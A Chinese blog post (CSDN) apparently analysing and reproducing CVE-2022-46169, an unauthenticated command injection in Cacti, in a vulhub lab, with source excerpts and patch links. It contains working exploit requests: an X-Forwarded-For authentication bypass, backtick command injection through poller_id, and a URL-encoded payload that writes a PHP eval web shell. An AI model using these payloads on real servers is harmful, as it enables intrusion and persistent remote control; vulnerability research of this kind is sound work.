Cacti 前台命令注入漏洞

文档说明

本文作者:SwBack
创作时间:2023/4/8 0:12
知乎:https://www.zhihu.com/people/back-88-87
CSDN:https://blog.csdn.net/qq_30817059
百度搜索: SwBack

漏洞描述

漏 洞 名:Cacti 前台命令注入漏洞
漏洞编号:CVE-2022-46169
Cacti是一个服务器监控与管理平台。基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具.

在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。

影响版本

1.2.17-1.2.22

漏洞原理

由于remote_agent.php文件存在验证缺陷,未经身份验证的攻击者通过设置HTTP_开头变量的值为 Cacti的服务器主机名来实现身份验证绕过,之后控制get_nfilter_request_var()函数中的检索参数$poller_id,当poller_item设置为POLLER_ACTION_SCRIPT_PHP时,导致proc_open()函数被触发,最终实现在目标系统上任意命令执行。

#漏洞payload
remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For:127.0.0.1

命令执行简单分析

其中action 等于 polldata 时才会去调用poll_for_data()函数.

在这里插入图片描述

可以通过下面poll_for_data()函数的代码发现 只有 $item['action'] === POLLER_ACTION_SCRIPT_PHP 时,$poller_id 才会在proc_open()中命令执行

$item 是循环 $items得到

#简单将未涉及到的代码注释,尽量减少篇幅
function poll_for_data() {
	global $config;

	$local_data_ids = get_nfilter_request_var('local_data_ids');
	$host_id        = get_filter_request_var('host_id');
	$poller_id      = get_nfilter_request_var('poller_id');
	$return         = array();

	$i = 0;

	if (cacti_sizeof($local_data_ids)) {
		foreach($local_data_ids as $local_data_id) {
			input_validate_input_number($local_data_id);

			$items = db_fetch_assoc_prepared('SELECT *
				FROM poller_item
				WHERE host_id = ?
				AND 6 = ?',
				array($host_id, $local_data_id));

				.....
                .....
			if (cacti_sizeof($items)) {
				foreach($items as $item) {
					switch ($item['action']) {
					case POLLER_ACTION_SNMP: /* snmp */
						.....
                        .....
					case POLLER_ACTION_SCRIPT: /* script (popen) */
						.....
                        .....
					case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
						$cactides = array(
							0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
							1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
							2 => array('pipe', 'w')  // stderr is a pipe to write to
						);

						if (function_exists('proc_open')) {
							$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
							$output = fgets($pipes[1], 1024);
							$using_proc_function = true;
						} else {
							$using_proc_function = false;
						}

						.....
                        .....
					}

					$i++;
				}
			}
		}
	}

	print json_encode($return);
}

我们需要 使 $items 的SQL语句成立。 所以 $local_data_id 需要传参 6

action 等于2的时候,host_id = 1

在这里插入图片描述

在这里插入图片描述

实际的环境中,由于设备项目在添加时,需要选择相应的设备模板才会出现action=2,local_data_ids参数也是需要靠暴力猜解才会猜解出action=2的项目

在这里插入图片描述

客户端ip伪造分析

关于IP伪造的部分,我们在未认证的情况下返回的内容如下:FATAL: You are not authorized to use this service 此处在漏洞复现部分有所演示

在``中追踪代码如下

#判断remote_client_authorized()函数是否为true
if (!remote_client_authorized()) {
	print 'FATAL: You are not authorized to use this service';
	exit;
}


function remote_client_authorized() {
	global $poller_db_cnn_id;

	/* don't allow to run from the command line */
    
    #客户端ip由get_client_addr() 函数获取
	$client_addr = get_client_addr();
	if ($client_addr === false) {
		return false;
	}

	if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
		cacti_log('ERROR: Invalid remote agent client IP Address.  Exiting');
		return false;
	}

	$client_name = gethostbyaddr($client_addr);

	if ($client_name == $client_addr) {
		cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
	} else {
		$client_name = remote_agent_strip_domain($client_name);
	}
	#从数据库中查询,从而获取到hostname值
	$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

	if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
            #判断hostname值是否与客户端ip一致
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;
			} elseif ($poller['hostname'] == $client_addr) {
				return true;
			}
		}
	}

	cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");

	return false;
}

搜索之后在functions.php中发现get_client_addr()函数的定义

function get_client_addr($client_addr = false) {
	$http_addr_headers = array(
		'X-Forwarded-For',
		'X-Client-IP',
		'X-Real-IP',
		'X-ProxyUser-Ip',
		'CF-Connecting-IP',
		'True-Client-IP',
		'HTTP_X_FORWARDED',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'HTTP_CLIENT_IP',
		'REMOTE_ADDR',
	);

	$client_addr = false;
    #遍历数组$http_addr_headers 并将其赋值给$header
	foreach ($http_addr_headers as $header) {
        #判断$_SERVER[$header] 是否为空 ,如果不为空,则取ip作为客户端IP,这个参数用户可控。
		if (!empty($_SERVER[$header])) {
			$header_ips = explode(',', $_SERVER[$header]);
			foreach ($header_ips as $header_ip) {
				if (!empty($header_ip)) {
					if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
						cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
					} else {
						$client_addr = $header_ip;
						cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
						break 2;
					}
				}
			}
		}
	}

	return $client_addr;
}

在如下判断代码中,我们传入的值为 127.0.0.1 会被get_client_addr()函数 解析为localhost 而这和复现靶机一致

在这里插入图片描述

在这里插入图片描述

如果在服务器主机名非 localhost 的情况下,client_addr需要暴力猜解本机的内网IP地址,或者其他设备列表内的IP地址。

漏洞复现

下载vulhub

通过vulhub进行搭建,首先在一台已经安装 docker-compose的Linux机器中输入如下命令,将vulhub下载到本地

#下载vulhub
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

#解压zip
unzip vulhub-master.zip

#进入目录
cd vulhub-master

启动环境

在上一步我们已经将vulhub解压到本地了.接下来我们进入需要复现的漏洞目录,通过docker-compose 将环境进行启动

#进入目录
cd cacti/CVE-2022-46169/
#启动环境
docker-compose up -d

输入命令之后

在这里插入图片描述

配置

环境启动后,访问http://your-ip:8080会跳转到登录页面。使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化。不断的点击下一步,直到安装成功。

在这里插入图片描述

在这里插入图片描述

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

在这里插入图片描述

在这里插入图片描述

攻击

直接访问payload 显示内容如下

http://localhost:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`

在这里插入图片描述

进行抓包,并添加X-Forwarded-For:127.0.0.1
在这里插入图片描述

查看本地,发现文件已被创建

在这里插入图片描述

同理,创建木马

/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`echo%20%20'%3C%3Fphp%20%40eval(%24_REQUEST%5B%22cmd%22%5D)%3B%3F%3E'%20%3Eshell.php`

执行成功

在这里插入图片描述

复现总结

通过研究该漏洞,发现在实际的利用的过程中,不能一味的去使用poc攻击,需要根据实际的生产环境去进行对应的修改。

修复方案

  • 官方升级

目前官方已发布安全补丁修复此漏洞,建议受影响的用户及时安装防护:

版本*补丁链接
v1.2.Xhttps://github.com/Cacti/cacti/commit/b43f13ae7f1e6bfe4e8e56a80a7cd867cf2db52b
v1.3.xhttps://github.com/Cacti/cacti/commit/b43f13ae7f1e6bfe4e8e56a80a7cd867cf2db52b

:若在PHP < 7.0下运行1.2.x实例,还需要进一步更改:https://github.com/Cacti/cacti/commit/a8d59e8fa5f0054aa9c6981b1cbe30ef0e2a0ec9

  • 进行版本更新
    从官方下载最新版本

原创申明

本文由SwBack 原创文章, 如有问题,欢迎指正。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SwBack

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值